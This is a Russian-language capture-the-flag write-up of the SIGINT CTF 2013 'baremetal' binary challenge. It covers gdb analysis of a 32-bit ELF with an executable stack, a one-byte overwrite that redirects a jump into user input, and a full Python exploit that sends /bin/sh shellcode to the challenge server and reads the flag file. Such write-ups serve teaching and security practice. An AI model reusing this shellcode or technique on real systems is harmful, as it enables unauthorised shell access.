SIGINT CTF 2013 (baremetal)

Решения

http://v0ids3curity.blogspot.ru/2013/07/sigint-ctf-pwning-100-baremetal-team.html (xbios) англ.
http://piggybird.net/2013/07/sigint-ctf-2013-pwn-100-baremetal/ (PiggyBird) англ.
https://rdot.org/forum/showthread.php?t=2787 (honeyjonny) рус.
Назад к списку заданий

Задание (pwning)

baremetal
Okay, okay. It's not baremetal…
Running on: 188.40.147.100 1024
Исполняемый файл - baremetal

Подробное описание

Пытаемся подключиться к серверу, вводим что-нибудь и получаем:

baremetal online
123456
Bad Sequence

Маловато информации. Качаем исполняемый файл baremetal, прилагаемый к заданию. Это 32-хбитный ELF файл, с правами RWX (чтение-запись-исполнение) на стек и адресным пространством 0x8049000-0x804A000.
Кстати, как узнали права доступа:

#загружаем baremetal в отладчик
$ gdb -q ./baremetal
   Reading symbols from /home/fes/baremetal...(no debugging symbols found)...done.
 
#ставим точку останова на системный вызов syscall read
gdb-peda $ catch syscall read
   Catchpoint 1 (syscall 'read' [3])
 
#запускаем программу
gdb-peda$ run
   baremetal online
   [----------------------------------registers-----------------------------------]
   EAX: 0xffffffda 
   EBX: 0x0 
   ECX: 0x80491c8 --> 0x0 
   EDX: 0x3d ('=')
   ESI: 0x0 
   EDI: 0x80480b7 (jmp    0x804816f)
   EBP: 0x0 
   ESP: 0xffffd440 --> 0x1 
   EIP: 0x804817a (add    edi,0x2)
   EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   [-------------------------------------code-------------------------------------]
      0x8048176:    pop    ecx
      0x8048177:    pop    edx
      0x8048178:    int    0x80
   => 0x804817a:    add    edi,0x2
      0x804817d:    jmp    0x804813e
      0x804817f:    pop    eax
      0x8048180:    xor    ebx,ebx
      0x8048182:    xor    ecx,ecx
   [------------------------------------stack-------------------------------------]
   0000| 0xffffd440 --> 0x1 
   0004| 0xffffd444 --> 0xffffd5a3 ("/home/fes/baremetal")
   0008| 0xffffd448 --> 0x0 
   [------------------------------------------------------------------------------]
   Legend: code, data, rodata, value
   Catchpoint 1 (call to syscall read), 0x0804817a in ?? ()
 
#получить ID процесса
gdb-peda$ info program
   Using the running image of child process 2274.
   Program stopped at 0x804817a.
   It stopped at breakpoint 1.
   Type "info stack" or "info registers" for more information.
 
#прочитать карту памяти процесса baremetal 
#обратите внимание на секцию stack с правами RWX
gdb-peda$ shell cat /proc/2274/maps
   08048000-08049000 r-xp 00000000 08:01 439740                             /home/fes/baremetal
   08049000-0804a000 rwxp 00000000 08:01 439740                             /home/fes/baremetal
   f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
   fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

При анализе кода выясняется, что вызов процедур сделан оригинально. Формат такой:
Main {
       call 0x804813B    ->    pop edi
       jmp "функция 1"    <-    jmp edi
       идет последовательность кода #сюда просходит возврат из «функции» 
       ..
       call 0x804813B    ->    pop edi
       jmp "функция 2"    <-    jmp edi
       идет последовательность кода #сюда просходит возврат из «функции» 
       ..
}
"Функция N" {
       идет последовательность кода
       ..
       #возврат из функции
       add edi, 2
       Пока [edi] == 0 Цикл
              inc edi
       КонецЦикла
       jmp edi
}

Логика же программы следующая.

а) Выводим заголовок "baremetal online" и ожидаем ввода от пользователя (userbuffer - буфер ввода, максимальная длина строки 61 символ).
б) Инициализируем unk_8049204.
.text:0804809F lea eax, unk_8049204
.text:080480A5 mov dword ptr [eax], 0E7FF4747h
в) Далее идут проверки:

1. Строка пользователя должна быть не менее 32-х символов
.text:080480CB 83 F8 20 cmp eax, 20h
2. Сумма символов строки пользователя должна быть 0x1EE7
.text:080480DF 81 FB E7 1E 00+ cmp ebx, 1EE7h

г) После проверок выполняется самый интересный участок кода:
eax указывает на начало userbuffer

.text:080480E7     lea     ecx, unk_8049204
.text:080480ED     movzx   ebx, byte ptr [ecx]
.text:080480F0     test    ebx, ebx
.text:080480F2     jz      short loc_80480FB
.text:080480F4     call    sub_804813B
.text:080480F9     jmp     ecx

Последняя инструкция (jmp ecx) заставляет перейти на "функцию", адрес которой находится в ecx. Есх указывает на unk_8049204, куда мы записали ранее значение 0E7FF4747h. Вроде бы это число ничего не значит, но если посмотреть так:

000    47        inc edi
001    47        inc edi
002    FFE7      jmp edi

Самое интересное то, что самый первый байт 0х47 (inc edi) пользователь может переписать. Т.к. буфер для строки длиной в 61 байт перекрывает значение 0E7FF4747h ровно на один байт. Значит, мы можем контролировать edi и сделать jmp на наш код в userbuffer.

Но каким значением переписать байт 0х47? Брутфорс всех возможных значений от 0 до 255 дал результат. Байт 0х97 то, что нам надо:

000    97        xchg eax, edi #адрес userbuffer из eax переносим в edi
001    47        inc edi
002    FFE7      jmp edi #jmp userbuffer+1

Таким образом , в userbuffer мы разместим нашу "исполняемую нагрузку". Причем, надо сделать так, чтобы выполнилась проверка - сумма последовательности байт (оканчивающихся нулем) должна быть равна 1EE7h.

shell-код берем из http://shell-storm.org/shellcode/files/shellcode-752.php

/*
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ; "//sh"
 push 0x6e69622f   ; "/bin"
 mov ebx, esp    ; положить адрес "/bin//sh" в ebx через esp 
 mov al, 11    ; eax = 11 system call "execve"
 int 0x80     
; -> execute the shell
*/

Финальный эксплоит выглядит так:

#!/usr/bin/env python
 
from struct import pack
import socket
 
ip = '188.40.147.100'
port = 1024
 
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = ("\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" +
             "\x73\x68\x68\x2f\x62\x69\x6e\x89" +
             "\xe3\xb0\x0b\xcd\x80")
 
overwrite = pack("B", 0x97)
# xchg eax,edi
# inc edi
# jmp edi
 
padding = pack("B", 0x90) * 37 + pack("B", 0x00)
payload = pack("B", 0x0f) + shellcode + padding + overwrite # 1st byte is skipped due to inc edi
 
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)    #print “baremetal online”
 
soc.send(payload + "cat /home/challenge/flag\n")
print soc.recv(1024)

Флаг:
SIGINT_are_you_getting_warmed_up?

Пока не указано иное, содержимое этой страницы распространяется по лицензии Creative Commons Attribution-ShareAlike 3.0 License